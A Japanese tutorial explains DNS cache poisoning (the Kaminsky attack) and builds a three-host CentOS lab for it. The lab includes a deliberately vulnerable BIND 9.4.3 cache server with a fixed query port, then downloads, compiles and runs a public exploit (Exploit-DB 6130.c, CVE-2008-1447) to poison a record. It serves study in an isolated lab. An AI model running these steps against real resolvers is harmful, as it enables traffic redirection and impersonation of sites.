ox0xo infosec tutorial

DNSキャッシュポイズニング


攻撃の概要

キャッシュの仕組み

DNSキャッシュサーバ自身はゾーンファイルを保持しない。 問い合わせに応じて権威DNSサーバに問い合わせた結果をそのまま返す。 この時取得したレコードはキャッシュに保存される。 キャッシュが破棄される前に同じ問い合わせがあった場合は権威DNSサーバに問い合わせずに結果を返す。

階層構造の仕組み

ある権威DNSサーバの管理下に無いドメインの問い合わせは別の権威DNSサーバにリダイレクトされる。 権威DNSサーバはadditionalレコードに別の権威DNSサーバのホスト名とIPアドレスを指定してリゾルバに返す。 リゾルバはこれを参照して別の権威DNSサーバに問い合わせる。 これを繰り返すことでDNSの階層構造が実現される。

攻撃の仕組み

攻撃対象ドメインに存在しないホストの名前解決をリクエストしてから、権威DNSサーバの応答よりも早く偽の応答を送り付ける。 偽の応答のadditionalレコードには権威DNSサーバとして攻撃対象ホストと偽のIPアドレスを指定する。 脆弱性のあるDNSキャッシュサーバはadditionalレコードの情報をキャッシュするので、これ以降のwww.sample.localの名前解決には100.100.100.100が返される。

攻撃の詳細はJPRSのKaminsky Attackの全てを参照

サーバ構築

3台のCentOS7でPoC環境を構築する。

個々のサーバを構築する前によく使うツールを全てのホストに入れておくこと。

# yum install -y vim wget gcc bind-utils

権威DNSサーバ

named.confの記述

# vim /etc/named.conf

options {
  directory "/var/named";
  pid-file  "/run/named/named.pid";
  listen-on port 53 { any; };
  allow-query       { any; };
};
zone "sample.local" IN {
  type master;
  file "sample.local.zone";
};

zoneファイルの記述

# vim /var/named/sample.local.zone

@     IN    SOA    sample.local. root.sample.local. (
                   2018062901
                   60
                   60
                   60
                   60
                   )
;
      IN    NS     ns.sample.local.
;
      IN    MX     0 mail.sample.local
;
ns    IN    A      172.16.0.3
www   IN    A      172.16.0.100
mail  IN    A      172.16.0.100

攻撃を成功させやすくするためにNICに200msの遅延を設定

# tc qdisc add dev enp0s8 root netem delay 200ms

サービス起動

# systemctl start named

DNSキャッシュサーバ

デフォルトのnamedを削除して脆弱性のあるバージョン9.4.3をソースからインストールする

# yum -y remove bind
# wget https://ftp.isc.org/isc/bind9/9.4.3/bind-9.4.3.tar.gz
# tar zxvf bind-9.4.3.tar.gz
# cd bind-9.4.3
# ./configure
# make
# make install

起動スクリプトの作成

# vim /usr/lib/systemd/system/named.service

[Unit]
Description=Berkeley Internet Name Domain (DNS)

[Service]
Type=forking
PIDFile=/run/named/named.pid

ExecStartPre=/bin/bash -c 'if [ ! "$DISABLE_ZONE_CHECKING" == "yes" ]; then /usr/local/sbin/named-checkconf -z /etc/named.conf; else echo "Checking of zone files is disabled"; fi'

ExecStart=/usr/local/sbin/named -u named $OPTIONS

ExecReload=/bin/sh -c '/usr/local/sbin/rndc reload > /dev/null 2>&1 || /bin/kill -HUP $MAINPID'

ExecStop=/bin/sh -c '/usr/local/sbin/rndc stop > /dev/null 2>&1 || /bin/kill -TERM $MAINPID'

PrivateTmp=true

[Install]
WantedBy=multi-user.target

named.confの作成

権威DNSサーバにソースポート10000で問い合わせるようにする

# vim /etc/named.conf

options {
  directory "/var/named";
  pid-file "/run/named/named.pid";
  listen-on port 53 { any; };
  allow-query { any; };
  forwarders { 172.16.0.3; };
  query-source address * port 10000;
  recursion yes;
};

pidファイルの所有権を変更する

# useradd named
# chown named:named /run/named

サービス起動

# systemctl daemon-reload
# systemctl start named

攻撃サーバ

CVE-2008-1447/CVE-2008-4194のエクスプロイトコードをコンパイルする

# wget https://www.exploit-db.com/download/6130.c
# yum install -y libdnet-devel
# ln -s /usr/include/dnet.h /usr/include/dumbnet.h
# gcc -o kaminsky-attack 6130.c `dnet-config --libs` -lm

攻撃

sample.localのDNSキャッシュサーバを攻撃してwwwのキャッシュを1.2.3.4に書き換える

# ./kaminsky-attack 172.16.0.1 172.16.0.2 172.16.0.3 10000 www sample.local. 1.2.3.4 8192 16

キャッシュが1.2.3.4に書き換えられた事を確認する

# dig @172.16.0.2 www.sample.local

裏でどんなパケットが飛んでいて、サーバのログには何が残っているのか確認しておくと良い。

参考情報


Content